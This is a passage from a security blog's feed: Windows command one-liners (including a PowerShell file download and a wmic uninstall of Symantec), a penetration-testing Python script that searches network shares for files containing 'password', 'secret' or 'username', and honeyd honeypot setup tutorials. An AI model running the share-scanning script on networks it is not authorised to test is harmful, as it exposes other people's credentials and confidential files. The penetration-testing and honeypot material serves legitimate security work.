<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">runas /user:administrator cmd</div></div>
<p>Uninstall a program, Symantec in this case ;-}</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic product where “description=’Symantec’ ” uninstall</div></div>
<p>Determine whether a system is 32 or 64 bit</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic cpu get DataWidth /format:list</div></div>
<p>Powershell one liner download file</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">(new-object System.Net.WebClient).Downloadfile(&quot;http://example.com/file.txt&quot;, &quot;C:\Users\Travis\file.txt&quot;)</div></div>
<p>Information about OS version and other useful system information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">systeminformation</div></div>
<p>Startup applications</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic startup get caption,command</div></div>
<p>Recursively unzip all zip folders, you&#8217;ll need unzip.exe for this</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">FOR /R %a (*.zip) do unzip -d unzipDir &quot;%a&quot;</div></div>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/okaOENTVDig" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/</feedburner:origLink></item>
		<item>
		<title>Search windows open shares with python</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/znMXEHFl0Ec/</link>
		<comments>http://travisaltman.com/search-windows-open-shares-with-python/#comments</comments>
		<pubDate>Fri, 02 Sep 2011 17:21:50 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=399</guid>
		<description><![CDATA[It&#8217;s rare during a penetration test that I actually exploit a vulnerability to gain more information. Newcomers to my filed will often use the term &#8220;network security&#8221;. I don&#8217;t care about the network, have the network for all I care. What I&#8217;m more concerned about is the information inside the network. The better way to [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s rare during a penetration test that I actually exploit a vulnerability to gain more information. Newcomers to my filed will often use the term &#8220;network security&#8221;. I don&#8217;t care about the network, have the network for all I care. What I&#8217;m more concerned about is the information inside the network. The better way to describe it is &#8220;information security&#8221;. Performing penetration tests one has to keep that in mind, yea it&#8217;s fun to exploit some user that&#8217;s running an old version of war-ftp but if that user doesn&#8217;t yield sensitive information then who cares to some extent.</p>
<p>I often see that professional penetration testers will highlight an open windows share that can be read or written to by everyone. They will often highlight other shares that are accessible by a large group such as Authenticated users. I don&#8217;t want to scoff at these types of open shares as they should be investigated by the business owner that created the open shares. The main thing to consider is what information lies within those open shares. Open shares are usually created for a reason, so that users easily share information. This is not bad unless the information in those shares is secret / classified material. To check for this possible sensitive information one would have to search all the files and folders in that share. Now you can use the cute little dog search feature inside of windows explorer to look for this information but using that your hands are somewhat tied. The search feature inside windows explorer actually does a nice job but if you wanted to automate the process to look at multiple shares and search for multiple terms then you&#8217;re out of luck. Because of this I wanted to script something that would automate the process. Powershell could have been an option but because I&#8217;m already familiar with python I stuck to what I know. This means that in order to run the script you&#8217;ll have to have python installed on windows. I could have written the script to work in Linux but that would have meant using cifs to map drives which seemed like more of a headache then just using python on windows.</p>
<p>You&#8217;ll need to open up a windows command prompt to run the script and it&#8217;s a good idead to <a href="http://showmedo.com/videotutorials/video?name=960000&amp;fromSeriesID=96" target="_blank">add Python to the windows path</a>. So the script takes two arguments. The first argument is the file containing all the shares that you want to search. The second argument is the file that contains all the terms you want to search for. So to run the script you would issue a command similar to below, where searchShares.py is the name of the python script.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">python.exe  searchShares.py  shares.txt  searchTerms.txt</div></div>
<p>Your shares.txt file should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">\\one\two<br />
\\three\four\five<br />
\\six\seven\eight\nine</div></div>
<p>Your searchTerms.txt file should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">secret<br />
password<br />
username</div></div>
<p>In the example above the term &#8220;secret&#8221; will be recursively searched in all three shares. Then &#8220;password&#8221; will be recursively searched in all three shares, then so on and so on. The script will output any file, file name, or folder name that matches any of the search terms. Currently the script will read each file in <a href="http://en.wikipedia.org/wiki/Binary_file" target="_blank">binary format</a> which means if it comes across a word document file (such as document.doc) it doesn&#8217;t open / read the file like microsoft word would. The current script reads each line of the binary file looking for your search term. Reading a text file as binary seems to work fine but reading in microsoft office documents as binary have different results. One thing I&#8217;ve noticed in my testing is that generally speaking it does just fine searching through a *.doc file but has trouble searching through a *.docx file. Binary searching is not ideal but it&#8217;s my current solution. Python has the capability to open microsoft office documents in a more native format but for my first go round I haven&#8217;t implemented that solution.</p>
<p>Once you run the script you will see output similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\temp&gt;python searchShares.py shares.txt searchTerms.txt<br />
<br />
Walking directory \\192.168.99.184\test<br />
<br />
Found \\192.168.99.184\testtest.txt<br />
Found \\192.168.99.184\testTravisAltmanResume.doc<br />
Found \\192.168.99.184\test\onewordDoc1.docx<br />
Found \\192.168.99.184\test\one\twopasswords.txt<br />
Found \\192.168.99.184\test\one\two\threewordDoc2.docx<br />
Searching file \\192.168.99.184\test\test.txt for term secret<br />
<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term secret<br />
<br />
Searching file \\192.168.99.184\test\test.txt for term password<br />
<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term password<br />
<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term password<br />
<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term password<br />
<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term password<br />
<br />
Searching file \\192.168.99.184\test\test.txt for term username<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term username<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term username<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term username<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term username</div></div>
<p>This output on the command prompt is to given as a verbose message so that you know what&#8217;s going on with the script. The output on the command prompt will not tell you if it found a search term. The results of your searching is placed in a text file called output.txt located in the current directory. The content of output.txt should look similar to the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">=== Directories or file names matching search criteria ===<br />
<br />
\\192.168.99.184\test\one\two\passwords.txt<br />
<br />
=== Files matching search criteria ===<br />
<br />
found secret in file \\192.168.99.184\test\one\two\passwords.txt<br />
found password in file \\192.168.99.184\test\one\two\passwords.txt</div></div>
<p>So you can see that it matches the file name as well as the contents of the file. One thing to keep in mind is that this script can take a while to run. There two factors that control how fast it runs, 1) Speed of the network and 2) Size (GB, MB, etc) of the share. It works best when your network is local and not in another city. The biggest factor is going to be the size of the share. Running this script on a major file sahre that is say 800 GB in size will take a very long time. Keep in mind you can specify specific directories, so instead of searching in the root share such as \\share\one maybe it&#8217;s a better idea to searh in \\share\one\two\three. So keep these factors in mind when running the script. Below is the script, simply cut and paste into your text editor of choice and save as searchShares.py</p>
<pre>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span><br />
<br />
output <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'output.txt'</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'a'</span><span style="color: black;">&#41;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
fileList <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
shareList <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
eachShare <span style="color: #66cc66;">=</span> shareList.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> shares <span style="color: #ff7700;font-weight:bold;">in</span> eachShare:<br />
&nbsp; &nbsp; path <span style="color: #66cc66;">=</span> shares.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Walking directory '</span> + path + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> root<span style="color: #66cc66;">,</span> subFolders<span style="color: #66cc66;">,</span> files <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">walk</span><span style="color: black;">&#40;</span>path<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">#print 'Indexing ' + root + '\n'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: #008000;">file</span> <span style="color: #ff7700;font-weight:bold;">in</span> files:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileList.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>root<span style="color: #66cc66;">,</span><span style="color: #008000;">file</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Found '</span> + root + <span style="color: #008000;">file</span><br />
keywords <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
searchTerm <span style="color: #66cc66;">=</span> keywords.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'=== Directories or file names matching search criteria ===<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> term <span style="color: #ff7700;font-weight:bold;">in</span> searchTerm:<br />
&nbsp; &nbsp; strip <span style="color: #66cc66;">=</span> term.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">any</span><span style="color: black;">&#40;</span>strip <span style="color: #ff7700;font-weight:bold;">in</span> s <span style="color: #ff7700;font-weight:bold;">for</span> s <span style="color: #ff7700;font-weight:bold;">in</span> fileList<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; matching <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span>s <span style="color: #ff7700;font-weight:bold;">for</span> s <span style="color: #ff7700;font-weight:bold;">in</span> fileList <span style="color: #ff7700;font-weight:bold;">if</span> strip <span style="color: #ff7700;font-weight:bold;">in</span> s<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> matching:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> + item<span style="color: black;">&#41;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>=== Files matching search criteria ===<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> term <span style="color: #ff7700;font-weight:bold;">in</span> searchTerm:<br />
&nbsp; &nbsp; strip <span style="color: #66cc66;">=</span> term.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> fileList:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Searching file '</span> + item + <span style="color: #483d8b;">' for term '</span> + term<br />
&nbsp; &nbsp; &nbsp; &nbsp; searchFile <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>item<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'rb'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> searchFile:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">search</span><span style="color: black;">&#40;</span>strip<span style="color: #66cc66;">,</span> line<span style="color: #66cc66;">,</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">IGNORECASE</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'found '</span> + strip + <span style="color: #483d8b;">' in file '</span> + item + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; searchFile.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
output.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
</pre>
<p>Let me know if this works / doesn&#8217;t work and also let me know if you have any suggestions on how to make it better. One thing I might do in the future is to limit the types of files it searches to say only .txt, .doc, .xls, etc. Happy hunting for information on shares.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/znMXEHFl0Ec" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/search-windows-open-shares-with-python/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://travisaltman.com/search-windows-open-shares-with-python/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 3, static IP’s</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/4dCjY1IWSqQ/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-3-static-ips/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 20:25:29 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>
		<category><![CDATA[network security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=386</guid>
		<description><![CDATA[In the past two tutorials I&#8217;ve used DHCP to obtain IP&#8217;s for our honeypots running honeyd. Using dhcp is fine when testing honeyd and getting familiar with how honeyd works but a static IP may be more suitable for your environment. In my case I initially fooled around with honeyd via dhcp but when I [...]]]></description>
			<content:encoded><![CDATA[<p>In the past two tutorials I&#8217;ve used DHCP to obtain IP&#8217;s for our honeypots running honeyd. Using dhcp is fine when testing honeyd and getting familiar with how honeyd works but a static IP may be more suitable for your environment. In my case I initially fooled around with honeyd via dhcp but when I wanted to implement in a more production environment I realized that static IP&#8217;s are more stable and less maintenance. In order to ping our honeypot the router / switch has to know what IP and MAC address our honeypot has so it can update it&#8217;s information, going through dhcp does this automatically. I&#8217;ll touch on how to add the static IP configuration later but first let&#8217;s go over our layout. I&#8217;ll be using the same simple layout as in the first tutorial as seen below.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_171.png"><img class="aligncenter size-full wp-image-358" title="Selection_171" src="http://travisaltman.com/wp-content/Selection_171.png" alt="" width="557" height="431" /></a></p>
<p>There may need to be some clarification in that diagram. Backtrack is what is actually running honeyd, the address of 192.168.99.135 (labeled Honeyd) which is the honeypot honeyd created can be configured to emulate any operating system. Now for the honeyd config file.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create default<br />
set default default tcp action block<br />
set default default udp action block<br />
set default default icmp action block<br />
<br />
create windows<br />
set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset<br />
add windows tcp port 135 open<br />
add windows tcp port 139 open<br />
add windows tcp port 445 open<br />
<br />
set windows ethernet &quot;00:00:24:ab:8c:12&quot;<br />
<br />
bind 192.168.99.135 windows</div></div>
<p>So the only real difference between dhcp and a static IP is the last line of the config. If you go back to the first tutorial you&#8217;ll notice the last line is the only difference as well. As a side I&#8217;ve used some configs that do not have the MAC address defined in their config but when I did not include the &#8220;set windows ethernet&#8221; line honeyd would complain and not start. So after you&#8217;ve set your config simply start honeyd.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd  -d  -f  honeyd.conf</div></div>
<p>After running honeyd you should get similar output to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos<br />
honeyd[27305]: started with -d -f honeyd.conf<br />
Warning: Impossible SI range in Class fingerprint &quot;IBM OS/400 V4R2M0&quot;<br />
Warning: Impossible SI range in Class fingerprint &quot;Microsoft Windows NT 4.0 SP3&quot;<br />
honeyd[27305]: listening promiscuously on eth0: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 00:00:24:ca:6b:08<br />
honeyd[27305]: Demoting process privileges to uid 65534, gid 65534</div></div>
<p>The difference in output between static and dynamic is that you&#8217;ll see the IP address your honeypot gets when using DHCP. With static IP configuration you&#8217;re not going to get that in your output because you already know the IP you&#8217;re using. So the output via DHCP will the lines below included.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd[1870]: [eth0] trying DHCP<br />
honeyd[1870]: Demoting process privileges to uid 65534, gid 65534<br />
honeyd[1870]: [eth0] got DHCP offer: 192.168.99.135</div></div>
<p>So now you&#8217;ve take care of properly setting up honeyd to use a static IP address but now you&#8217;ll have to configure the network to use your static IP. In my enterprise production environment I&#8217;ve configured this via the DHCP server. I went into the DHCP server and made a static reservation. I also had to configure the switch I plugged my computer into and tell what VLAN that port needed to be assigned to. If you&#8217;re trying to get this set up in your work production environment you may have to work with your network team that manages DHCP / DNS / routers &amp; switches. Networks may be managed differently so check with your local team on how you would get a static IP. Now if you&#8217;re doing this on a home network for testing then you probably have a wireless router such as Linksys. Inside all of these home wireless routers you can configure static IP&#8217;s. Each wireless router will have different steps for configuring static IP&#8217;s so refer to your manufacturers documentation on how to do that.</p>
<p>Next in this tutorial is what to run your honeypot / honeyd on? Laptop, desktop, server? These questions will be tackled in future articles.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/4dCjY1IWSqQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-3-static-ips/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-3-static-ips/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 2, multiple honeypots</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/CUNKKWoNea8/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-2-multiple-honeypots/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 17:43:06 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>
		<category><![CDATA[network security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=371</guid>
		<description><![CDATA[Part one of this series was to mainly get honeyd up and running. Hopefully you also took away from part one that the configuration file, honeyd.conf, is the key to making things work smoothly and properly. Now that you&#8217;ve got honeyd up and running let&#8217;s tweak honeyd.conf so that we have multiple honeypots running on [...]]]></description>
			<content:encoded><![CDATA[<p>Part one of this series was to mainly get honeyd up and running. Hopefully you also took away from part one that the configuration file, honeyd.conf, is the key to making things work smoothly and properly. Now that you&#8217;ve got honeyd up and running let&#8217;s tweak honeyd.conf so that we have multiple honeypots running on one installation of honeyd. One honeypot is great but having three or four is even better. Part two is dedicated to showing you how to properly setup multiple honeypots in honeyd. In part one we only emulated a Windows device via the line below in honeyd.conf</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset</div></div>
<p>The personality tries to emulate what device you are trying to pretend to be. There are plenty of other personalities we could choose from so when setting up multiple honeypots you may want to emulate other devices besides a standard Windows device. Maybe you&#8217;d like to emulate a Solaris box, PBX system, or if you are going to emulate a Windows device make it real juicy to an attacker by making it a Windows 98 device. You&#8217;ve got plenty of options when choosing a personality for your honeypot. Honeyd takes advantage of nmap and the way it fingerprints devices. The list of personalities is located in the nmap.prints file, you should be able to find this file by using the following command</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">locate nmap.prints</div></div>
<p>You can view this file using less, for me I issued the following command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">less /usr/share/honeyd/nmap.prints</div></div>
<p>Nmap has a version of this file as well named &#8220;nmap-os-db&#8221;. The nmap.prints and the nmap-os-db may or may not match up depending on your versions of nmap and honeyd. My nmap-os-db is in the following location.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/usr/share/nmap/nmap-os-db</div></div>
<p>Within nmap.prints anything that follows the word &#8220;Fingerprint&#8221; is available as a personality. As an example below the string &#8220;Avaya G3 PBX version 8.3&#8243; can be used as a personality in honeyd.conf</p>
<p><a href="http://travisaltman.com/wp-content/Selection_187.png"><img class="aligncenter size-full wp-image-372" title="Selection_187" src="http://travisaltman.com/wp-content/Selection_187.png" alt="" width="483" height="163" /></a></p>
<p>In my example I will emulate this Avaya PBX device and I will also emulate a Soalris device. So a diagram of my setup looks like the following.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_189.png"><img class="aligncenter size-full wp-image-380" title="Selection_189" src="http://travisaltman.com/wp-content/Selection_189.png" alt="" width="594" height="392" /></a></p>
<p>So now that I&#8217;ve decided to also emulate a Solaris and Avaya device I&#8217;ll need to add both of these do honeyd.conf. Basically all you&#8217;ll need to do is copy and paste from the Windows device you&#8217;ve already setup in honeyd.conf then make some minor modifications such as the personality. My honeyd.conf for all three of these honeypots is below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create default<br />
set default default tcp action block<br />
set default default udp action block<br />
set default default icmp action block<br />
<br />
create windows<br />
set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset<br />
add windows tcp port 135 open<br />
add windows tcp port 139 open<br />
add windows tcp port 445 open<br />
<br />
create avaya<br />
set avaya personality &quot;Avaya G3 PBX version 8.3&quot;<br />
set avaya default tcp action reset<br />
add avaya tcp port 4445 open<br />
add avaya tcp port 5038 open<br />
<br />
create solaris<br />
set solaris personality &quot;Avaya G3 PBX version 8.3&quot;<br />
set solaris default tcp action reset<br />
add solaris tcp port 22 open<br />
add solaris tcp port 2049 open<br />
<br />
set windows ethernet &quot;00:00:24:ab:8c:12&quot;<br />
set avaya ethernet &quot;00:00:24:ab:8c:13&quot;<br />
set solaris ethernet &quot;00:00:24:ab:8c:14&quot;<br />
dhcp windows on eth1<br />
dhcp avaya on eth1<br />
dhcp solaris on eth1</div></div>
<p>After you&#8217;ve added this information to honeyd.conf go ahead and run honeyd with the options discussed in part one, you should see the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# honeyd -d -f honeyd.conf<br />
Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos<br />
honeyd[2697]: started with -d -f honeyd.conf<br />
Warning: Impossible SI range in Class fingerprint &quot;IBM OS/400 V4R2M0&quot;<br />
Warning: Impossible SI range in Class fingerprint &quot;Microsoft Windows NT 4.0 SP3&quot;<br />
honeyd[2697]: listening promiscuously on eth1: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 00:0c:29:88:e6:db<br />
honeyd[2697]: [eth1] trying DHCP<br />
